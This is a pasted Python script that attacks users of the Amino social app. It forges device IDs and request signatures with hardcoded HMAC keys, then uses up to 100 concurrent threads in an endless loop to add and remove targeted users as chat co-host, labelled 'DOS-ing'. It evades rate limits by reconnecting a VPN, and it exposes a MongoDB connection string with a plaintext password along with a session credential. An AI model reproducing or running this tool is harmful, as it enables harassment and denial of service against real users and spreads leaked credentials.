Untitled
unknown
python
2 years ago
16 kB
6
Indexable
from concurrent.futures import ThreadPoolExecutor from requests import get from hashlib import sha1 import os from os import path import json, time import aiohttp import asyncio import base64 import hmac import sys import requests from hashlib import sha1 import names import random import heroku3 import hmac import platform,socket,re,uuid from pymongo import MongoClient #import urllib.parse import ssl from time import sleep from os import path from aminofix import objects from functools import wraps last_time = [0] * 3 s=["no"] def run_once(f): """Runs a function (successfully) only once. The running can be reset by setting the `has_run` attribute to False """ @wraps(f) def wrapper(*args, **kwargs): if not wrapper.has_run: result = f(*args, **kwargs) wrapper.has_run = True return result wrapper.has_run = False return wrapper clie = MongoClient("mongodb+srv://amino:sagar890@cluster0.fdt73lu.mongodb.net/?retryWrites=true&w=majority") os.system("warp-cli disconnect") sleep(1) os.system("warp-cli connect") sleep(4) db = clie["sid"] put = db["sidd"] def update(sid): old=put.find_one()["sid"] lol={"sid":old} newvalues = { "$set": { "sid": sid} } put.update_one(lol, newvalues) def ip(): os.system("warp-cli disconnect") sleep(1) os.system("warp-cli connect") sleep(2) print("changed") sleep(4) @run_once def restart(): import sys print("argv was",sys.argv) print("sys.executable was", sys.executable) print("restart now") import os os.execv(sys.executable, ['python'] + sys.argv) def dev(): hw=(names.get_full_name()+str(random.randint(0,10000000))+platform.version()+platform.machine()+names.get_first_name()+socket.gethostbyname(socket.gethostname())+':'.join(re.findall('..', '%012x' % uuid.getnode()))+platform.processor()) identifier=sha1(hw.encode('utf-8')).digest() mac = hmac.new(bytes.fromhex('02b258c63559d8804321c5d5065af320358d366f'), b"\x42" + identifier, sha1) return (f"42{identifier.hex()}{mac.hexdigest()}").upper() def agent(): s = requests.Session() return s.headers['User-Agent'] class FromLink: def __init__(self, data): self.json = data self.objectType = None self.objectId = None self.comId = None @property def FromCode(self): try: self.path = self.json["path"] except (KeyError, TypeError): pass try: self.objectType = self.json["extensions"]["linkInfo"]["objectType"] except (KeyError, TypeError): pass try: self.objectId = self.json["extensions"]["linkInfo"]["objectId"] except (KeyError, TypeError): pass try: self.comId = self.json["extensions"]["community"]["ndcId"] except (KeyError, TypeError): try: self.comId = self.json["extensions"]["linkInfo"]["ndcId"] except (KeyError, TypeError): pass return self class Account(): def __init__(self,email, password ,session): self.authenticated = False self.email = email self.password = password self.device_id = dev() self.session = session self.target_user = [] self.hostgc = None self.cid = None self.sid= None self.uid = None self.api = 'https://service.narvii.com/api/v1' self.hostgc=None async def generate_headers(self, data=None, content_type=None, sig=None): headers = { 'NDCDEVICEID': dev(), 'Accept-Language': 'en-US', 'Content-Type': 'application/json; charset=utf-8', 'User-Agent':"Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 9 Pro Build/QQ3A.200805.001; com.narvii.amino.master/3.4.33585)", 'Host': 'service.narvii.com', 'Accept-Encoding': 'gzip', 'Connection': 'Keep-Alive' } if data: headers['Content-Length'] = str(len(data)) if sig: headers['NDC-MSG-SIG'] = sig if self.sid: headers['NDCAUTH'] = f'sid={self.sid}' if content_type: headers["Content-Type"] = content_type return headers async def sig(self, data): signature = base64.b64encode( bytes.fromhex("42") + hmac.new(bytes.fromhex("f8e7a61ac3f725941e3ac7cae2d688be97f30b93"), data.encode("utf-8"), sha1).digest()).decode("utf-8") return signature async def login(self): data = json.dumps({ 'email': self.email, 'v': 2, 'secret': f'{self.password}', 'deviceID': self.device_id, 'clientType': 100, 'action': 'normal', 'timestamp': int(time.time() * 1000) }) async with self.session.post(f'{self.api}/g/s/auth/login', headers=await self.generate_headers(data=data, sig=await self.sig(data)), data=data) as response: if response.status== 200: respons = await response.json() if respons["api:statuscode"] == 0: print("using requests") self.sid = respons["sid"] #update(self.sid) self.uid = respons["account"]["uid"] self.authenticated = True #pass else: print(respons["api:message"]) print("using config") #sid=new_sid #self.sid=str(sid) self.uid="8ba2b211-5527-4239-bb78-4fd8460c61c8" self.authenticated = True else: print("using config") #sid=new_sid #self.sid=str(sid) self.uid="8ba2b211-5527-4239-bb78-4fd8460c61c8" self.authenticated = True #restart() async def join_community(self): async with self.session.post(f'{self.api}/x{com}/s/community/join', headers=await self.generate_headers()) as response: response = await response.json() print(response) async def get_online_users(self,start: int = 0, size: int = 25): async with self.session.get(f"{self.api}/x{self.cid}/s/live-layer?topic=ndtopic:x{self.cid}:online-members&start={start}&size={size}", headers=await self.generate_headers()) as response: #print(await self.generate_headers()) if response.status==200: resp = await response.json() if resp["api:statuscode"] == 0: users=resp["userProfileList"] li=[] for uid in users: self.target_user.append(uid["uid"]) #print(list) #self.target_user(list) else: restart() else: restart() async def chat_admin(self): async with self.session.get(f"{self.api}/x{self.cid}/s/chat/thread/{self.hostgc}", headers=await self.generate_headers()) as response: if response.status==200: resp = await response.json() if resp["api:statuscode"] == 0: user=resp["thread"]["uid"] co=resp["thread"]["extensions"]["coHost"] co.append(user) print(co) self.target_user=co return co else: restart() sys.exit() else: restart() sys.exit() async def start_chat(self ,isGlobal: bool = True, publishToGlobal: bool = False): data = { "title": "daddy mm", "inviteeUids": ["688642c4-3e5d-4374-bc58-88365189c4b9"], "initialMessageContent": "daddyfghj", "content": "stfu", "timestamp": int(time.time() * 1000) } if isGlobal is True: data["type"] = 2; data["eventSource"] = "GlobalComposeMenu" else: data["type"] = 0 if publishToGlobal is True: data["publishToGlobal"] = 1 else: data["publishToGlobal"] = 0 data = json.dumps(data) response=requests.post(f'{self.api}/x{com}/s/chat/thread',headers=await self.generate_headers(data=data,sig=await self.sig(data)),data=data) res=response.json() print(res) id=res["thread"]["threadId"] self.hostgc = id async def del_gc(self): requests.delete(f"{self.api}/x{com}/s/chat/thread/{self.hostgc}", headers=await self.generate_headers()) async def from_link(self,link): lol="user" response = get(f"{self.api}/g/s/link-resolution?q={link}", headers=await self.generate_headers()) if response.status_code== 200: resp=response.json() if resp["api:statuscode"] == 0: pass else: print(f'link: {resp["api:statuscode"]}') restart() sys.exit() else: print(f"error code {response.status_code}") restart() sys.exit() x = FromLink(resp["linkInfoV2"]).FromCode if lol=="many": self.cid = x.comId print(self.cid) self.hostgc = x.objectId print(self.hostgc) if lol=="online": self.cid = x.comId print(self.cid) if lol=="user": self.target_user.append(x.objectId) #print(self.target_user.append) async def set(self,uid): data = json.dumps({ "uidList": [uid], "timestamp": int(time.time() * 1000) }) async with self.session.post( f"{self.api}/x209538778/s/chat/thread/b797adec-012e-45b3-9b7f-083454dbccf1/co-host", data=data, headers=await self.generate_headers(data=data, sig=await self.sig(data))) as j: if j.status== 200: response = await j.json() if response["api:message"]=="OK": pass else: print(response) restart() sys.exit() else: print(f"error:{j.status}") restart() sys.exit() # print(f"dossing {uid}") #pass # if response["api:statuscode"] == 0: # pass # async def dele(self,uid): async with self.session.delete( f"{self.api}/x209538778/s/chat/thread/b797adec-012e-45b3-9b7f-083454dbccf1/co-host/{uid}", headers=await self.generate_headers()) as l: if l.status == 200: response = await l.json() if response["api:message"]=="OK": pass else: print(response) #if time.time() > last_time[0] + 10: #ip() #last_time[0]=time.time() #sys.exit() #pass # if response["api:statuscode"] == 0: # pass else: print(f"error:{l.status}") if time.time() > last_time[0] + 20: s.clear() s.append("yes") last_time[0]=time.time() #sys.exit() async def delex(self,uid): data={"cid":"209538778","uid":uid,"hostgc":"b797adec-012e-45b3-9b7f-083454dbccf1","sid":self.sid} data=json.dumps(data) async with self.session.post( f"https://hellonn5.herokuapp.com/del",data=data) as l: if l.status == 200: response = json.loads(await l.json()) #print("kkkk") print({response['api:message']}) else: print("ddhfhf") async def setx(self,uid): data = json.dumps({ "uid": uid, "cid": self.cid, "hostgc":self.hostgc, "sid":self.sid, "list":"0" }) async with self.session.post( f"https://hellonn5.herokuapp.com/set", data=data) as j: if j.status== 200: response = json.loads(await j.json()) print(response["api:message"]) else: pass async def crash(self, uid): try: #await self.setx(uid) await self.dele(uid) print(f"DOS-ing... {uid}") except Exception as e: print(f"errghhhhor {e}") #restart() #sys.exit() async def itachi(acc: Account): crowd = [] lol="user" xo = len(acc.target_user) # for _ in range(10): if lol=="online": with ThreadPoolExecutor(max_workers=70) as exe: _ = [ exe.submit( crowd.append( asyncio.create_task(acc.crash(acc.target_user[i % xo])))) for i in range(20) ] await asyncio.gather(*crowd) else: with ThreadPoolExecutor(max_workers=100) as exe: _ = [ exe.submit( crowd.append( asyncio.create_task(acc.crash(acc.target_user[i % xo])))) for i in range(30) ] await asyncio.gather(*crowd) async def main(email, password,link): async with aiohttp.ClientSession() as session: #sid = "AnsiMSI6IG51bGwsICIwIjogMiwgIjMiOiAwLCAiMiI6ICI3ODg4MGJmMC1mZmY0LTQ4ZWItODQ2MC1hOWVmNjU5NjdkMjQiLCAiNSI6IDE2NDkyNTY3OTksICI0IjogIjEwMy4yMDEuMTMzLjE4IiwgIjYiOiAxMDB9lXvWnU5cdHOx4aGRD-Rwt4lz1GQ" client = Account(email, password,session) await client.login() #await client.join_community() #await client.start_chat() total=[] if "user" =="user": print(link) for yo in link: total.append(asyncio.create_task(client.from_link(yo))) await asyncio.gather(*total) while True: while True: await itachi(client) print(s) if s[0]=="yes": ip() s.clear() s.append("no") break #restart() #await client.del_gc() # for _ in range(100): # for uid in client.target_user: # task.append(asyncio.create_task(client.crash(uid))) # await asyncio.gather(*task) def run(email, password,link): asyncio.get_event_loop().run_until_complete(main(email, password,link)) def runn(): email="aaaaaafg" password="31 EzcfPqYH 8ba2b211-5527-4239-bb78-4fd8460c61c8 103.201.134.5 4874b4a5706388d897b7a1cde92bf23b65c6bb6c 1 1657643121 J2t-N-PGnCw4GLmatVfEFUhTPlU" link=["http://aminoapps.com/p/992crs"] run(email, password,link) runn()
Editor is loading...